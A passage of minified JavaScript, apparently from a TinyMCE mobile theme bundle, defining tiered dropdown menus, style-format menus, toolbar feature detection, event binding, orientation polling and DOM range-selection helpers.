{ var current = get$c(paths.get(), itemValue).getOr([]); return [menu].concat(current); }); }; var collapse = function (itemValue) { return get$c(paths.get(), itemValue).bind(function (path) { return path.length > 1 ? Optional.some(path.slice(1)) : Optional.none(); }); }; var refresh = function (itemValue) { return get$c(paths.get(), itemValue); }; var getPreparedMenu = function (menuValue) { return lookupMenu(menuValue).bind(extractPreparedMenu); }; var lookupMenu = function (menuValue) { return get$c(menus.get(), menuValue); }; var lookupItem = function (itemValue) { return get$c(expansions.get(), itemValue); }; var otherMenus = function (path) { var menuValues = directory.get(); return difference(keys(menuValues), path); }; var getPrimary = function () { return primary.get().bind(getPreparedMenu); }; var getMenus = function () { return menus.get(); }; return { setMenuBuilt: setMenuBuilt, setContents: setContents, expand: expand, refresh: refresh, collapse: collapse, lookupMenu: lookupMenu, lookupItem: lookupItem, otherMenus: otherMenus, getPrimary: getPrimary, getMenus: getMenus, clear: clear, isClear: isClear, getTriggeringPath: getTriggeringPath }; }; var extractPreparedMenu = function (prep) { return prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none(); }; var LayeredState = { init: init$2, extractPreparedMenu: extractPreparedMenu }; var make$1 = function (detail, _rawUiSpec) { var submenuParentItems = value(); var buildMenus = function (container, primaryName, menus) { return map$1(menus, function (spec, name) { var makeSketch = function () { return Menu.sketch(__assign(__assign({}, spec), { value: name, markers: detail.markers, fakeFocus: detail.fakeFocus, onHighlight: detail.onHighlight, focusManager: detail.fakeFocus ? highlights() : dom$2() })); }; return name === primaryName ? { type: 'prepared', menu: container.getSystem().build(makeSketch()) } : { type: 'notbuilt', nbMenu: makeSketch }; }); }; var layeredState = LayeredState.init(); var setup = function (container) { var componentMap = buildMenus(container, detail.data.primary, detail.data.menus); var directory = toDirectory(); layeredState.setContents(detail.data.primary, componentMap, detail.data.expansions, directory); return layeredState.getPrimary(); }; var getItemValue = function (item) { return Representing.getValue(item).value; }; var getItemByValue = function (_container, menus, itemValue) { return findMap(menus, function (menu) { if (!menu.getSystem().isConnected()) { return Optional.none(); } var candidates = Highlighting.getCandidates(menu); return find$2(candidates, function (c) { return getItemValue(c) === itemValue; }); }); }; var toDirectory = function (_container) { return map$1(detail.data.menus, function (data, _menuName) { return bind$3(data.items, function (item) { return item.type === 'separator' ? [] : [item.data.value]; }); }); }; var setActiveMenu = function (container, menu) { Highlighting.highlight(container, menu); Highlighting.getHighlighted(menu).orThunk(function () { return Highlighting.getFirst(menu); }).each(function (item) { dispatch(container, item.element, focusItem()); }); }; var getMenus = function (state, menuValues) { return cat(map$2(menuValues, function (mv) { return state.lookupMenu(mv).bind(function (prep) { return prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none(); }); })); }; var closeOthers = function (container, state, path) { var others = getMenus(state, state.otherMenus(path)); each$1(others, function (o) { remove$1(o.element, [detail.markers.backgroundMenu]); if (!detail.stayInDom) { Replacing.remove(container, o); } }); }; var getSubmenuParents = function (container) { return submenuParentItems.get().getOrThunk(function () { var r = {}; var items = descendants(container.element, '.' + detail.markers.item); var parentItems = filter$2(items, function (i) { return get$b(i, 'aria-haspopup') === 'true'; }); each$1(parentItems, function (i) { container.getSystem().getByDom(i).each(function (itemComp) { var key = getItemValue(itemComp); r[key] = itemComp; }); }); submenuParentItems.set(r); return r; }); }; var updateAriaExpansions = function (container, path) { var parentItems = getSubmenuParents(container); each(parentItems, function (v, k) { var expanded = contains$1(path, k); set$8(v.element, 'aria-expanded', expanded); }); }; var updateMenuPath = function (container, state, path) { return Optional.from(path[0]).bind(function (latestMenuName) { return state.lookupMenu(latestMenuName).bind(function (menuPrep) { if (menuPrep.type === 'notbuilt') { return Optional.none(); } else { var activeMenu = menuPrep.menu; var rest = getMenus(state, path.slice(1)); each$1(rest, function (r) { add$1(r.element, detail.markers.backgroundMenu); }); if (!inBody(activeMenu.element)) { Replacing.append(container, premade(activeMenu)); } remove$1(activeMenu.element, [detail.markers.backgroundMenu]); setActiveMenu(container, activeMenu); closeOthers(container, state, path); return Optional.some(activeMenu); } }); }); }; var ExpandHighlightDecision; (function (ExpandHighlightDecision) { ExpandHighlightDecision[ExpandHighlightDecision['HighlightSubmenu'] = 0] = 'HighlightSubmenu'; ExpandHighlightDecision[ExpandHighlightDecision['HighlightParent'] = 1] = 'HighlightParent'; }(ExpandHighlightDecision || (ExpandHighlightDecision = {}))); var buildIfRequired = function (container, menuName, menuPrep) { if (menuPrep.type === 'notbuilt') { var menu = container.getSystem().build(menuPrep.nbMenu()); layeredState.setMenuBuilt(menuName, menu); return menu; } else { return menuPrep.menu; } }; var expandRight = function (container, item, decision) { if (decision === void 0) { decision = ExpandHighlightDecision.HighlightSubmenu; } if (item.hasConfigured(Disabling) && Disabling.isDisabled(item)) { return Optional.some(item); } else { var value = getItemValue(item); return layeredState.expand(value).bind(function (path) { updateAriaExpansions(container, path); return Optional.from(path[0]).bind(function (menuName) { return layeredState.lookupMenu(menuName).bind(function (activeMenuPrep) { var activeMenu = buildIfRequired(container, menuName, activeMenuPrep); if (!inBody(activeMenu.element)) { Replacing.append(container, premade(activeMenu)); } detail.onOpenSubmenu(container, item, activeMenu, reverse(path)); if (decision === ExpandHighlightDecision.HighlightSubmenu) { Highlighting.highlightFirst(activeMenu); return updateMenuPath(container, layeredState, path); } else { Highlighting.dehighlightAll(activeMenu); return Optional.some(item); } }); }); }); } }; var collapseLeft = function (container, item) { var value = getItemValue(item); return layeredState.collapse(value).bind(function (path) { updateAriaExpansions(container, path); return updateMenuPath(container, layeredState, path).map(function (activeMenu) { detail.onCollapseMenu(container, item, activeMenu); return activeMenu; }); }); }; var updateView = function (container, item) { var value = getItemValue(item); return layeredState.refresh(value).bind(function (path) { updateAriaExpansions(container, path); return updateMenuPath(container, layeredState, path); }); }; var onRight = function (container, item) { return inside(item.element) ? Optional.none() : expandRight(container, item, ExpandHighlightDecision.HighlightSubmenu); }; var onLeft = function (container, item) { return inside(item.element) ? Optional.none() : collapseLeft(container, item); }; var onEscape = function (container, item) { return collapseLeft(container, item).orThunk(function () { return detail.onEscape(container, item).map(function () { return container; }); }); }; var keyOnItem = function (f) { return function (container, simulatedEvent) { return closest$1(simulatedEvent.getSource(), '.' + detail.markers.item).bind(function (target) { return container.getSystem().getByDom(target).toOptional().bind(function (item) { return f(container, item).map(always); }); }); }; }; var events = derive$3([ run(focus(), function (sandbox, simulatedEvent) { var item = simulatedEvent.event.item; layeredState.lookupItem(getItemValue(item)).each(function () { var menu = simulatedEvent.event.menu; Highlighting.highlight(sandbox, menu); var value = getItemValue(simulatedEvent.event.item); layeredState.refresh(value).each(function (path) { return closeOthers(sandbox, layeredState, path); }); }); }), runOnExecute(function (component, simulatedEvent) { var target = simulatedEvent.event.target; component.getSystem().getByDom(target).each(function (item) { var itemValue = getItemValue(item); if (itemValue.indexOf('collapse-item') === 0) { collapseLeft(component, item); } expandRight(component, item, ExpandHighlightDecision.HighlightSubmenu).fold(function () { detail.onExecute(component, item); }, noop); }); }), runOnAttached(function (container, _simulatedEvent) { setup(container).each(function (primary) { Replacing.append(container, premade(primary)); detail.onOpenMenu(container, primary); if (detail.highlightImmediately) { setActiveMenu(container, primary); } }); }) ].concat(detail.navigateOnHover ? [run(hover(), function (sandbox, simulatedEvent) { var item = simulatedEvent.event.item; updateView(sandbox, item); expandRight(sandbox, item, ExpandHighlightDecision.HighlightParent); detail.onHover(sandbox, item); })] : [])); var getActiveItem = function (container) { return Highlighting.getHighlighted(container).bind(Highlighting.getHighlighted); }; var collapseMenuApi = function (container) { getActiveItem(container).each(function (currentItem) { collapseLeft(container, currentItem); }); }; var highlightPrimary = function (container) { layeredState.getPrimary().each(function (primary) { setActiveMenu(container, primary); }); }; var extractMenuFromContainer = function (container) { return Optional.from(container.components()[0]).filter(function (comp) { return get$b(comp.element, 'role') === 'menu'; }); }; var repositionMenus = function (container) { var maybeActivePrimary = layeredState.getPrimary().bind(function (primary) { return getActiveItem(container).bind(function (currentItem) { var itemValue = getItemValue(currentItem); var allMenus = values(layeredState.getMenus()); var preparedMenus = cat(map$2(allMenus, LayeredState.extractPreparedMenu)); return layeredState.getTriggeringPath(itemValue, function (v) { return getItemByValue(container, preparedMenus, v); }); }).map(function (triggeringPath) { return { primary: primary, triggeringPath: triggeringPath }; }); }); maybeActivePrimary.fold(function () { extractMenuFromContainer(container).each(function (primaryMenu) { detail.onRepositionMenu(container, primaryMenu, []); }); }, function (_a) { var primary = _a.primary, triggeringPath = _a.triggeringPath; detail.onRepositionMenu(container, primary, triggeringPath); }); }; var apis = { collapseMenu: collapseMenuApi, highlightPrimary: highlightPrimary, repositionMenus: repositionMenus }; return { uid: detail.uid, dom: detail.dom, markers: detail.markers, behaviours: augment(detail.tmenuBehaviours, [ Keying.config({ mode: 'special', onRight: keyOnItem(onRight), onLeft: keyOnItem(onLeft), onEscape: keyOnItem(onEscape), focusIn: function (container, _keyInfo) { layeredState.getPrimary().each(function (primary) { dispatch(container, primary.element, focusItem()); }); } }), Highlighting.config({ highlightClass: detail.markers.selectedMenu, itemClass: detail.markers.menu }), Composing.config({ find: function (container) { return Highlighting.getHighlighted(container); } }), Replacing.config({}) ]), eventOrder: detail.eventOrder, apis: apis, events: events }; }; var collapseItem$1 = constant$1('collapse-item'); var tieredData = function (primary, menus, expansions) { return { primary: primary, menus: menus, expansions: expansions }; }; var singleData = function (name, menu) { return { primary: name, menus: wrap(name, menu), expansions: {} }; }; var collapseItem = function (text) { return { value: generate$4(collapseItem$1()), meta: { text: text } }; }; var tieredMenu = single({ name: 'TieredMenu', configFields: [ onStrictKeyboardHandler('onExecute'), onStrictKeyboardHandler('onEscape'), onStrictHandler('onOpenMenu'), onStrictHandler('onOpenSubmenu'), onHandler('onRepositionMenu'), onHandler('onCollapseMenu'), defaulted('highlightImmediately', true), requiredObjOf('data', [ required$1('primary'), required$1('menus'), required$1('expansions') ]), defaulted('fakeFocus', false), onHandler('onHighlight'), onHandler('onHover'), tieredMenuMarkers(), required$1('dom'), defaulted('navigateOnHover', true), defaulted('stayInDom', false), field$1('tmenuBehaviours', [ Keying, Highlighting, Composing, Replacing ]), defaulted('eventOrder', {}) ], apis: { collapseMenu: function (apis, tmenu) { apis.collapseMenu(tmenu); }, highlightPrimary: function (apis, tmenu) { apis.highlightPrimary(tmenu); }, repositionMenus: function (apis, tmenu) { apis.repositionMenus(tmenu); } }, factory: make$1, extraApis: { tieredData: tieredData, singleData: singleData, collapseItem: collapseItem } }); var findRoute = function (component, transConfig, transState, route) { return get$c(transConfig.routes, route.start).bind(function (sConfig) { return get$c(sConfig, route.destination); }); }; var getTransition = function (comp, transConfig, transState) { var route = getCurrentRoute(comp, transConfig); return route.bind(function (r) { return getTransitionOf(comp, transConfig, transState, r); }); }; var getTransitionOf = function (comp, transConfig, transState, route) { return findRoute(comp, transConfig, transState, route).bind(function (r) { return r.transition.map(function (t) { return { transition: t, route: r }; }); }); }; var disableTransition = function (comp, transConfig, transState) { getTransition(comp, transConfig, transState).each(function (routeTransition) { var t = routeTransition.transition; remove$3(comp.element, t.transitionClass); remove$6(comp.element, transConfig.destinationAttr); }); }; var getNewRoute = function (comp, transConfig, transState, destination) { return { start: get$b(comp.element, transConfig.stateAttr), destination: destination }; }; var getCurrentRoute = function (comp, transConfig, _transState) { var el = comp.element; return getOpt(el, transConfig.destinationAttr).map(function (destination) { return { start: get$b(comp.element, transConfig.stateAttr), destination: destination }; }); }; var jumpTo = function (comp, transConfig, transState, destination) { disableTransition(comp, transConfig, transState); if (has$1(comp.element, transConfig.stateAttr) && get$b(comp.element, transConfig.stateAttr) !== destination) { transConfig.onFinish(comp, destination); } set$8(comp.element, transConfig.stateAttr, destination); }; var fasttrack = function (comp, transConfig, _transState, _destination) { if (has$1(comp.element, transConfig.destinationAttr)) { getOpt(comp.element, transConfig.destinationAttr).each(function (destination) { set$8(comp.element, transConfig.stateAttr, destination); }); remove$6(comp.element, transConfig.destinationAttr); } }; var progressTo = function (comp, transConfig, transState, destination) { fasttrack(comp, transConfig); var route = getNewRoute(comp, transConfig, transState, destination); getTransitionOf(comp, transConfig, transState, route).fold(function () { jumpTo(comp, transConfig, transState, destination); }, function (routeTransition) { disableTransition(comp, transConfig, transState); var t = routeTransition.transition; add$1(comp.element, t.transitionClass); set$8(comp.element, transConfig.destinationAttr, destination); }); }; var getState = function (comp, transConfig, _transState) { return getOpt(comp.element, transConfig.stateAttr); }; var TransitionApis = /*#__PURE__*/Object.freeze({ __proto__: null, findRoute: findRoute, disableTransition: disableTransition, getCurrentRoute: getCurrentRoute, jumpTo: jumpTo, progressTo: progressTo, getState: getState }); var events$1 = function (transConfig, transState) { return derive$3([ run(transitionend(), function (component, simulatedEvent) { var raw = simulatedEvent.event.raw; getCurrentRoute(component, transConfig).each(function (route) { findRoute(component, transConfig, transState, route).each(function (rInfo) { rInfo.transition.each(function (rTransition) { if (raw.propertyName === rTransition.property) { jumpTo(component, transConfig, transState, route.destination); transConfig.onTransition(component, route); } }); }); }); }), runOnAttached(function (comp, _se) { jumpTo(comp, transConfig, transState, transConfig.initialState); }) ]); }; var ActiveTransitioning = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$1 }); var TransitionSchema = [ defaulted('destinationAttr', 'data-transitioning-destination'), defaulted('stateAttr', 'data-transitioning-state'), required$1('initialState'), onHandler('onTransition'), onHandler('onFinish'), requiredOf('routes', setOf(Result.value, setOf(Result.value, objOfOnly([optionObjOfOnly('transition', [ required$1('property'), required$1('transitionClass') ])])))) ]; var createRoutes = function (routes) { var r = {}; each(routes, function (v, k) { var waypoints = k.split('<->'); r[waypoints[0]] = wrap(waypoints[1], v); r[waypoints[1]] = wrap(waypoints[0], v); }); return r; }; var createBistate = function (first, second, transitions) { return wrapAll([ { key: first, value: wrap(second, transitions) }, { key: second, value: wrap(first, transitions) } ]); }; var createTristate = function (first, second, third, transitions) { return wrapAll([ { key: first, value: wrapAll([ { key: second, value: transitions }, { key: third, value: transitions } ]) }, { key: second, value: wrapAll([ { key: first, value: transitions }, { key: third, value: transitions } ]) }, { key: third, value: wrapAll([ { key: first, value: transitions }, { key: second, value: transitions } ]) } ]); }; var Transitioning = create$5({ fields: TransitionSchema, name: 'transitioning', active: ActiveTransitioning, apis: TransitionApis, extra: { createRoutes: createRoutes, createBistate: createBistate, createTristate: createTristate } }); var scrollableStyle = resolve('scrollable'); var register$2 = function (element) { add$1(element, scrollableStyle); }; var deregister = function (element) { remove$3(element, scrollableStyle); }; var scrollable = scrollableStyle; var getValue = function (item) { return get$c(item, 'format').getOr(item.title); }; var convert = function (formats, memMenuThunk) { var mainMenu = makeMenu('Styles', [].concat(map$2(formats.items, function (k) { return makeItem(getValue(k), k.title, k.isSelected(), k.getPreview(), hasNonNullableKey(formats.expansions, getValue(k))); })), memMenuThunk, false); var submenus = map$1(formats.menus, function (menuItems, menuName) { var items = map$2(menuItems, function (item) { return makeItem(getValue(item), item.title, item.isSelected !== undefined ? item.isSelected() : false, item.getPreview !== undefined ? item.getPreview() : '', hasNonNullableKey(formats.expansions, getValue(item))); }); return makeMenu(menuName, items, memMenuThunk, true); }); var menus = deepMerge(submenus, wrap('styles', mainMenu)); var tmenu = tieredMenu.tieredData('styles', menus, formats.expansions); return { tmenu: tmenu }; }; var makeItem = function (value, text, selected, preview, isMenu) { return { data: { value: value, text: text }, type: 'item', dom: { tag: 'div', classes: isMenu ? [resolve('styles-item-is-menu')] : [] }, toggling: { toggleOnExecute: false, toggleClass: resolve('format-matches'), selected: selected }, itemBehaviours: derive$2(isMenu ? [] : [format(value, function (comp, status) { var toggle = status ? Toggling.on : Toggling.off; toggle(comp); })]), components: [{ dom: { tag: 'div', attributes: { style: preview }, innerHtml: text } }] }; }; var makeMenu = function (value, items, memMenuThunk, collapsable) { return { value: value, dom: { tag: 'div' }, components: [ Button.sketch({ dom: { tag: 'div', classes: [resolve('styles-collapser')] }, components: collapsable ? [ { dom: { tag: 'span', classes: [resolve('styles-collapse-icon')] } }, text(value) ] : [text(value)], action: function (item) { if (collapsable) { var comp = memMenuThunk().get(item); tieredMenu.collapseMenu(comp); } } }), { dom: { tag: 'div', classes: [resolve('styles-menu-items-container')] }, components: [Menu.parts.items({})], behaviours: derive$2([config('adhoc-scrollable-menu', [ runOnAttached(function (component, _simulatedEvent) { set$5(component.element, 'overflow-y', 'auto'); set$5(component.element, '-webkit-overflow-scrolling', 'touch'); register$2(component.element); }), runOnDetached(function (component) { remove$2(component.element, 'overflow-y'); remove$2(component.element, '-webkit-overflow-scrolling'); deregister(component.element); }) ])]) } ], items: items, menuBehaviours: derive$2([Transitioning.config({ initialState: 'after', routes: Transitioning.createTristate('before', 'current', 'after', { transition: { property: 'transform', transitionClass: 'transitioning' } }) })]) }; }; var sketch$1 = function (settings) { var dataset = convert(settings.formats, function () { return memMenu; }); var memMenu = record(tieredMenu.sketch({ dom: { tag: 'div', classes: [resolve('styles-menu')] }, components: [], fakeFocus: true, stayInDom: true, onExecute: function (_tmenu, item) { var v = Representing.getValue(item); settings.handle(item, v.value); return Optional.none(); }, onEscape: function () { return Optional.none(); }, onOpenMenu: function (container, menu) { var w = get$5(container.element); set$4(menu.element, w); Transitioning.jumpTo(menu, 'current'); }, onOpenSubmenu: function (container, item, submenu) { var w = get$5(container.element); var menu = ancestor(item.element, '[role="menu"]').getOrDie('hacky'); var menuComp = container.getSystem().getByDom(menu).getOrDie(); set$4(submenu.element, w); Transitioning.progressTo(menuComp, 'before'); Transitioning.jumpTo(submenu, 'after'); Transitioning.progressTo(submenu, 'current'); }, onCollapseMenu: function (container, item, menu) { var submenu = ancestor(item.element, '[role="menu"]').getOrDie('hacky'); var submenuComp = container.getSystem().getByDom(submenu).getOrDie(); Transitioning.progressTo(submenuComp, 'after'); Transitioning.progressTo(menu, 'current'); }, navigateOnHover: false, highlightImmediately: true, data: dataset.tmenu, markers: { backgroundMenu: resolve('styles-background-menu'), menu: resolve('styles-menu'), selectedMenu: resolve('styles-selected-menu'), item: resolve('styles-item'), selectedItem: resolve('styles-selected-item') } })); return memMenu.asSpec(); }; var getFromExpandingItem = function (item) { var newItem = deepMerge(exclude(item, ['items']), { menu: true }); var rest = expand(item.items); var newMenus = deepMerge(rest.menus, wrap(item.title, rest.items)); var newExpansions = deepMerge(rest.expansions, wrap(item.title, item.title)); return { item: newItem, menus: newMenus, expansions: newExpansions }; }; var getFromItem = function (item) { return hasNonNullableKey(item, 'items') ? getFromExpandingItem(item) : { item: item, menus: {}, expansions: {} }; }; var expand = function (items) { return foldr(items, function (acc, item) { var newData = getFromItem(item); return { menus: deepMerge(acc.menus, newData.menus), items: [newData.item].concat(acc.items), expansions: deepMerge(acc.expansions, newData.expansions) }; }, { menus: {}, expansions: {}, items: [] }); }; var register$1 = function (editor) { var isSelectedFor = function (format) { return function () { return editor.formatter.match(format); }; }; var getPreview = function (format) { return function () { return editor.formatter.getCssText(format); }; }; var enrichSupported = function (item) { return deepMerge(item, { isSelected: isSelectedFor(item.format), getPreview: getPreview(item.format) }); }; var enrichMenu = function (item) { return deepMerge(item, { isSelected: never, getPreview: constant$1('') }); }; var enrichCustom = function (item) { var formatName = generate$4(item.title); var newItem = deepMerge(item, { format: formatName, isSelected: isSelectedFor(formatName), getPreview: getPreview(formatName) }); editor.formatter.register(formatName, newItem); return newItem; }; var doEnrich = function (items) { return map$2(items, function (item) { if (hasNonNullableKey(item, 'items')) { var newItems = doEnrich(item.items); return deepMerge(enrichMenu(item), { items: newItems }); } else if (hasNonNullableKey(item, 'format')) { return enrichSupported(item); } else { return enrichCustom(item); } }); }; return doEnrich(getStyleFormats(editor)); }; var prune = function (editor, formats) { var doPrune = function (items) { return bind$3(items, function (item) { if (item.items !== undefined) { var newItems = doPrune(item.items); return newItems.length > 0 ? [item] : []; } else { var keep = hasNonNullableKey(item, 'format') ? editor.formatter.canApply(item.format) : true; return keep ? [item] : []; } }); }; var prunedItems = doPrune(formats); return expand(prunedItems); }; var ui = function (editor, formats, onDone) { var pruned = prune(editor, formats); return sketch$1({ formats: pruned, handle: function (item, value) { editor.undoManager.transact(function () { if (Toggling.isOn(item)) { editor.formatter.remove(value); } else { editor.formatter.apply(value); } }); onDone(); } }); }; var extract = function (rawToolbar) { var toolbar = rawToolbar.replace(/\|/g, ' ').trim(); return toolbar.length > 0 ? toolbar.split(/\s+/) : []; }; var identifyFromArray = function (toolbar) { return bind$3(toolbar, function (item) { return isArray(item) ? identifyFromArray(item) : extract(item); }); }; var identify = function (editor) { var toolbar = getToolbar(editor); return isArray(toolbar) ? identifyFromArray(toolbar) : extract(toolbar); }; var setup$3 = function (realm, editor) { var commandSketch = function (name) { return function () { return forToolbarCommand(editor, name); }; }; var stateCommandSketch = function (name) { return function () { return forToolbarStateCommand(editor, name); }; }; var actionSketch = function (name, query, action) { return function () { return forToolbarStateAction(editor, name, query, action); }; }; var undo = commandSketch('undo'); var redo = commandSketch('redo'); var bold = stateCommandSketch('bold'); var italic = stateCommandSketch('italic'); var underline = stateCommandSketch('underline'); var removeformat = commandSketch('removeformat'); var link = function () { return sketch$2(realm, editor); }; var unlink = actionSketch('unlink', 'link', function () { editor.execCommand('unlink', null, false); }); var image = function () { return sketch$5(editor); }; var bullist = actionSketch('unordered-list', 'ul', function () { editor.execCommand('InsertUnorderedList', null, false); }); var numlist = actionSketch('ordered-list', 'ol', function () { editor.execCommand('InsertOrderedList', null, false); }); var fontsizeselect = function () { return sketch$6(realm, editor); }; var forecolor = function () { return sketch$8(realm, editor); }; var styleFormats = register$1(editor); var styleFormatsMenu = function () { return ui(editor, styleFormats, function () { editor.fire('scrollIntoView'); }); }; var styleselect = function () { return forToolbar('style-formats', function (button) { editor.fire('toReading'); realm.dropup.appear(styleFormatsMenu, Toggling.on, button); }, derive$2([ Toggling.config({ toggleClass: resolve('toolbar-button-selected'), toggleOnExecute: false, aria: { mode: 'pressed' } }), Receiving.config({ channels: wrapAll([ receive(orientationChanged, Toggling.off), receive(dropupDismissed, Toggling.off) ]) }) ]), editor); }; var feature = function (prereq, sketch) { return { isSupported: function () { var buttons = editor.ui.registry.getAll().buttons; return prereq.forall(function (p) { return hasNonNullableKey(buttons, p); }); }, sketch: sketch }; }; return { undo: feature(Optional.none(), undo), redo: feature(Optional.none(), redo), bold: feature(Optional.none(), bold), italic: feature(Optional.none(), italic), underline: feature(Optional.none(), underline), removeformat: feature(Optional.none(), removeformat), link: feature(Optional.none(), link), unlink: feature(Optional.none(), unlink), image: feature(Optional.none(), image), bullist: feature(Optional.some('bullist'), bullist), numlist: feature(Optional.some('numlist'), numlist), fontsizeselect: feature(Optional.none(), fontsizeselect), forecolor: feature(Optional.none(), forecolor), styleselect: feature(Optional.none(), styleselect) }; }; var detect = function (editor, features) { var itemNames = identify(editor); var present = {}; return bind$3(itemNames, function (iName) { var r = !hasNonNullableKey(present, iName) && hasNonNullableKey(features, iName) && features[iName].isSupported() ? [features[iName].sketch()] : []; present[iName] = true; return r; }); }; var mkEvent = function (target, x, y, stop, prevent, kill, raw) { return { target: target, x: x, y: y, stop: stop, prevent: prevent, kill: kill, raw: raw }; }; var fromRawEvent = function (rawEvent) { var target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target)); var stop = function () { return rawEvent.stopPropagation(); }; var prevent = function () { return rawEvent.preventDefault(); }; var kill = compose(prevent, stop); return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent); }; var handle = function (filter, handler) { return function (rawEvent) { if (filter(rawEvent)) { handler(fromRawEvent(rawEvent)); } }; }; var binder = function (element, event, filter, handler, useCapture) { var wrapped = handle(filter, handler); element.dom.addEventListener(event, wrapped, useCapture); return { unbind: curry(unbind, element, event, wrapped, useCapture) }; }; var bind$1 = function (element, event, filter, handler) { return binder(element, event, filter, handler, false); }; var capture$1 = function (element, event, filter, handler) { return binder(element, event, filter, handler, true); }; var unbind = function (element, event, handler, useCapture) { element.dom.removeEventListener(event, handler, useCapture); }; var filter = always; var bind = function (element, event, handler) { return bind$1(element, event, filter, handler); }; var capture = function (element, event, handler) { return capture$1(element, event, filter, handler); }; var global$2 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var INTERVAL = 50; var INSURANCE = 1000 / INTERVAL; var get$1 = function (outerWindow) { var isPortrait = outerWindow.matchMedia('(orientation: portrait)').matches; return { isPortrait: constant$1(isPortrait) }; }; var getActualWidth = function (outerWindow) { var isIos = detect$1().os.isiOS(); var isPortrait = get$1(outerWindow).isPortrait(); return isIos && !isPortrait ? outerWindow.screen.height : outerWindow.screen.width; }; var onChange = function (outerWindow, listeners) { var win = SugarElement.fromDom(outerWindow); var poller = null; var change = function () { global$2.clearInterval(poller); var orientation = get$1(outerWindow); listeners.onChange(orientation); onAdjustment(function () { listeners.onReady(orientation); }); }; var orientationHandle = bind(win, 'orientationchange', change); var onAdjustment = function (f) { global$2.clearInterval(poller); var flag = outerWindow.innerHeight; var insurance = 0; poller = global$2.setInterval(function () { if (flag !== outerWindow.innerHeight) { global$2.clearInterval(poller); f(Optional.some(outerWindow.innerHeight)); } else if (insurance > INSURANCE) { global$2.clearInterval(poller); f(Optional.none()); } insurance++; }, INTERVAL); }; var destroy = function () { orientationHandle.unbind(); }; return { onAdjustment: onAdjustment, destroy: destroy }; }; var setStart = function (rng, situ) { situ.fold(function (e) { rng.setStartBefore(e.dom); }, function (e, o) { rng.setStart(e.dom, o); }, function (e) { rng.setStartAfter(e.dom); }); }; var setFinish = function (rng, situ) { situ.fold(function (e) { rng.setEndBefore(e.dom); }, function (e, o) { rng.setEnd(e.dom, o); }, function (e) { rng.setEndAfter(e.dom); }); }; var relativeToNative = function (win, startSitu, finishSitu) { var range = win.document.createRange(); setStart(range, startSitu); setFinish(range, finishSitu); return range; }; var exactToNative = function (win, start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }; var toRect$1 = function (rect) { return { left: rect.left, top: rect.top, right: rect.right, bottom: rect.bottom, width: rect.width, height: rect.height }; }; var getFirstRect$1 = function (rng) { var rects = rng.getClientRects(); var rect = rects.length > 0 ? rects[0] : rng.getBoundingClientRect(); return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect$1) : Optional.none(); }; var adt$3 = Adt.generate([ { ltr: [ 'start', 'soffset', 'finish', 'foffset' ] }, { rtl: [ 'start', 'soffset', 'finish', 'foffset' ] } ]); var fromRange = function (win, type, range) { return type(SugarElement.fromDom(range.startContainer), range.startOffset, SugarElement.fromDom(range.endContainer), range.endOffset); }; var getRanges = function (win, selection) { return selection.match({ domRange: function (rng) { return { ltr: constant$1(rng), rtl: Optional.none }; }, relative: function (startSitu, finishSitu) { return { ltr: cached(function () { return relativeToNative(win, startSitu, finishSitu); }), rtl: cached(function () { return Optional.some(relativeToNative(win, finishSitu, startSitu)); }) }; }, exact: function (start, soffset, finish, foffset) { return { ltr: cached(function () { return exactToNative(win, start, soffset, finish, foffset); }), rtl: cached(function () { return Optional.some(exactToNative(win, finish, foffset, start, soffset)); }) }; } }); }; var doDiagnose = function (win, ranges) { var rng = ranges.ltr(); if (rng.collapsed) { var reversed = ranges.rtl().filter(function (rev) { return rev.collapsed === false; }); return reversed.map(function (rev) { return adt$3.rtl(SugarElement.fromDom(rev.endContainer), rev.endOffset, SugarElement.fromDom(rev.startContainer), rev.startOffset); }).getOrThunk(function () { return fromRange(win, adt$3.ltr, rng); }); } else { return fromRange(win, adt$3.ltr, rng); } }; var diagnose = function (win, selection) { var ranges = getRanges(win, selection); return doDiagnose(win, ranges); }; var asLtrRange = function (win, selection) { var diagnosis = diagnose(win, selection); return diagnosis.match({ ltr: function (start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }, rtl: function (start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(finish.dom, foffset); rng.setEnd(start.dom, soffset); return rng; } }); }; adt$3.ltr; adt$3.rtl; var create$3 = function (start, soffset, finish, foffset) { return { start: start, soffset: soffset, finish: finish, foffset: foffset }; }; var SimRange = { create: create$3 }; var NodeValue = function (is, name) { var get = function (element) { if (!is(element)) { throw new Error('Can only get ' + name + ' value of a ' + name + ' node'); } return getOption(element).getOr(''); }; var getOption = function (element) { return is(element) ? Optional.from(element.dom.nodeValue) : Optional.none(); }; var set = function (element, value) { if (!is(element)) { throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node'); } element.dom.nodeValue = value; }; return { get: get, getOption: getOption, set: set }; }; var api = NodeValue(isText, 'text'); var getOption = function (element) { return api.getOption(element); }; var getEnd = function (element) { return name$1(element) === 'img' ? 1 : getOption(element).fold(function () { return children(element).length; }, function (v) { return v.length; }); }; var adt$2 = Adt.generate([ { before: ['element'] }, { on: [ 'element', 'offset' ] }, { after: ['element'] } ]); var cata = function (subject, onBefore, onOn, onAfter) { return subject.fold(onBefore, onOn, onAfter); }; var getStart$1 = function (situ) { return situ.fold(identity, identity, identity); }; var before = adt$2.before; var on = adt$2.on; var after$1 = adt$2.after; var Situ = { before: before, on: on, after: after$1, cata: cata, getStart: getStart$1 }; var adt$1 = Adt.generate([ { domRange: ['rng'] }, { relative: [ 'startSitu', 'finishSitu' ] }, { exact: [ 'start', 'soffset', 'finish', 'foffset' ] } ]); var exactFromRange = function (simRange) { return adt$1.exact(simRange.start, simRange.soffset, simRange.finish, simRange.foffset); }; var getStart = function (selection) { return selection.match({ domRange: function (rng) { return SugarElement.fromDom(rng.startContainer); }, relative: function (startSitu, _finishSitu) { return Situ.getStart(startSitu); }, exact: function (start, _soffset, _finish, _foffset) { return start; } }); }; var domRange = adt$1.domRange; var relative = adt$1.relative; var exact = 